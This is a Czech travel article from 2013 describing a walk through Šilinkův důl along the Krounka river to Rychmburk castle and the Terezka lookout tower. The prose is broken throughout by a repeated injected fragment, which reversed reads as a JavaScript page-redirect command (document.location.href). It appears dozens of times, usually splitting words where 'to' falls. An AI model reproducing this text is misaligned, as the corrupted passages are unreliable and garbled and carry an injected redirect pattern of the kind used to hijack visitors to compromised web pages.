Rainbow page separator

Na skalách Šilinkova dolu na turisty čeká miniaturní ferata

Sobota, 10. srpna 2013

Kutřín / Výchozím bodem asi osmikilometrové vycházky je malá vesnička Kutřín v sousedním okrese Chrudim v Pardubickém kraji. Kutřín se čtyřmi desítkami trvalých obyvatel je místní část Perálce, obce nacházející se poblíž Skutče. Od Žďáru nad Sázavou je Kutřín vzdálený 39 kilometrů přes Herálec a Svratku ve směru na Skuteč. Oblast se nachází severním směrem od Žďárských vrchů, se kterými sousedí.

Nejstarší písemná zmínka o vsi Kutřín pochází z roku 1392. K pamětihodnostem patří tamní kaple Nejsvětějšího srdce Pána Ježíše z roku 1901. V Kutříně zaparkujeme au[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tomobil a pustíme se po červené značce do Šilinkova dolu, respektive směrem k hradu Rychmburk, což jsou necelé čtyři kilometry cesty. Značení vede zčásti lesem, v tamní přírodě se o prázdninách čas[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to konají dětské tábory. Značka kopíruje [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tok kamenité řeky Krounky v přírodním parku Údolí Krounky a Novohradky. Z lesních porostů tam převládají smíšené lesy. Park byl vyhlášen především díky několika lokalitám s výskytem zvláště chráněných druhů rostlin a živočichů. V Šilinkově dole je k vidění například velké množství žab, při troše štěstí i vzácný mlok skvrnitý. K chráněným živočichům, kteří v přírodním parku žijí, patří i čolek velký, ledňáček říční či čáp černý.

silinkuv-dul1Červeně značená pěšina vede také nad lesní hospůdkou Šilinkův důl na opačné straně řeky, se kterou ji spojuje dřevěný mostek. Krounka, levostranný pří[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tok řeky Novohradky dlouhý jen bezmála třiadvacet kilometrů, v místech Šilinkova dolu vyhloubila údolíčko v pradávných rulách, které tu a tam vystupují v bizardních útesech se spous[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou temných úkrytů mezi zřícenými skalními bloky. Úsek cesty bývá označován též jako stezka Adolfa Hejduka na počest rodáka z Rychmburka (nyní Předhradí). Básník Adolf Hejduk (1835-1923), prý Šilinkův důl olemovanými pískovcovými skalami čas[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to navštěvoval, obdivoval jeho romantická zákoutí a zřejmě tam i nacházel inspiraci, údajně se tam prý také koupal. Voda v Krounce s nepřehlédnutelnými žulovými kameny je dodnes průzračně čistá a chladivá a v některých místech tvoří hlubší tůně, ve kterých je možné se osvěžit.

Název Šilinkův důl vychází údajně z pověsti o zchudlém šlechtici, který se kdysi v tůních Krounky koupal a při potápění na dně řeky našel stříbrné mince – šilinky. S tím potápěním [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to nezní příliš věrohodně vzhledem k malé hloubce řeky, ale není vyloučeno, že dříve Krounka bývala hlubší. Voda je ale tak čistá, že kamenité dno s pískovcovým a opukovým podložím (místy pokryté jemným pískem) je v tůních velice zřetelně vidět i v metrové hloubce.
Dva úseky cesty po skalních útesech nad Krounkou jsou vybaveny žebříky s řetězy, s trochou nadsázky je ta[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to část terénu v Šilinkově dole nazývaná „nultá česká ferata“. Jedná se však o lehkou jištěnou trasu, která je určena i pro rodiny s dětmi. Obtížnější je terén pouze za deštivého počasí, kdy [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to na mokrých skalách klouže.

rychmburkRomantickým údolím dojdeme kolem bývalého mlýna až k obci Předhradí – od mlýna už je vidět věž hradu Rychmburk, jež vyčnívá nad terén. Pěšina z dolu ústí na asfal[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovou silničku, kde sejdeme ze značky, která pokračuje vpravo, a dáme se vlevo po silničce lemované his[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];torickým kamennými patníky, jež se vine do kopce až k hradu.

Předhradí je připomínáno už v roce 1468 jako opevněný městys před hradem Rychmburk. Jeho náměstíčko, na kterém se na vysokém podstavci nachází socha svatého Judy Tadeáše z roku 1723, se svažuje ve spodní části až ke kamennému mostu u hradu Rychmburk. Dnes má obec Předhradí, jež bylo z Rychmburka přejmenováno v 50. letech minulého s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toletí, necelých pět set obyvatel. Významnou místní památkou je rovněž kostel Panny Marie Sedmibolestné.
Hrad Rychmburk je prvně připomínán roku 1325 jako Tasův hrad; byl vybudován na skalnatém ostrohu nad údolím Krounky. Jeho zakladatel mu dal tehdy módní název Reichenburg – bohatý hrad, z čehož se postupně vyvinulo jeho dnešní jméno. Z původní stavby se zachovala třicet metrů vysoká věž, jež je krytá kuželovi[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou střechou. Hrad byl přestavěn v první polovině 16. s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toletí a upraven v 18. s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toletí. Od roku 1952 do roku 2007 byl v jeho areálu umístěn domov důchodců, v roce 2007 byl objekt transformován na domov pro osoby s chronickým duševním onemocněním. Prohlídka Rychmburka je však v letních měsících (od června do srpna) po dohodě možná.

Místní zajímavostí je v hradní kapli uložená kost, která má být podle pověsti pozůstatkem zazděné slečny Berkovny. Pověst říká, že hradní slečnu Markétu Berkovou měl její otec nechat zazdít, pro[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tože se zamilovala pod svůj stav a nehodlala se svého milého vzdát. Původně byla částečně zazněna v malém výklenku v kostele v nedalekých Janovičkách. Tam se ale přes okénko modlila s tamními farníky, kteří jí nosili jídlo a pití, a navíc slíbila kostelu díl ze své pozůstalosti. Pročež ji pak rozzlobený pan Berka nechal převézt a dal zazdít do věže Rychmburka, aby k ní nikdo nemohl a kde dívka záhy zemřela.

rozhledna-terezkaPo návratu Šilinkovým dolem zpět do Kutřína si můžeme vycházku kolem řeky Krounky zpestřit ještě návštěvou rozhledny – v okolí jich je hned několik. Osmadvacet metrů vysoká je například rozhledna Terezka ze dřeva a kovu v nadmořské výšce 626 metrů, která byla postavena v roce 2004 nedaleko Proseče. Z Kutřína pojedeme přes Perálec do Proseče, tam se dáme po silnici II/357. Jméno vyhlídky připomíná spisovatelku Terezu Novákovou (1853-1912), která byla spojována právě s nedalekou Prosečí, kde pobývala, a s celým tamním krajem, kde čerpala inspiraci pro své romány. Rozhledna s celkem 112 schody (hlavní vyhlídka je ve výšce 25 metrů) s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí kousek za Prosečí, vedle hlavní silnice je malé parkoviště a prodejna vstupenek a suvenýrů. Vstupné činí 35 korun, děti platí 20 korun, mimo provozní dobu je ale branka rozhledny, která vede ke kovovému schodišti, uzamčená. Z hlavní vyhlídky je možné vidět například Hlinsko, Svra[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];touch, Žďárské vrchy, Poličku, Moravskou Třebovou, nedalekou Toulovcovu rozhlednu, Li[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tomyšlsko, Jeseníky, Proseč, Krkonoše, Chrudim, Pardubice či třeba Kunětickou horu. O prázdninách je provozní doba rozhledny od 10 do 17 hodin.

Po silnici II/357 pak jedeme dál a před obcí Borová se úzkou spojovačkou dostaneme zpět na silnici I/34, která lemuje hranice CHKO Žďárské vrchy, a v Krouně pak najedeme na komunikaci II/354 směrem ke Svratce.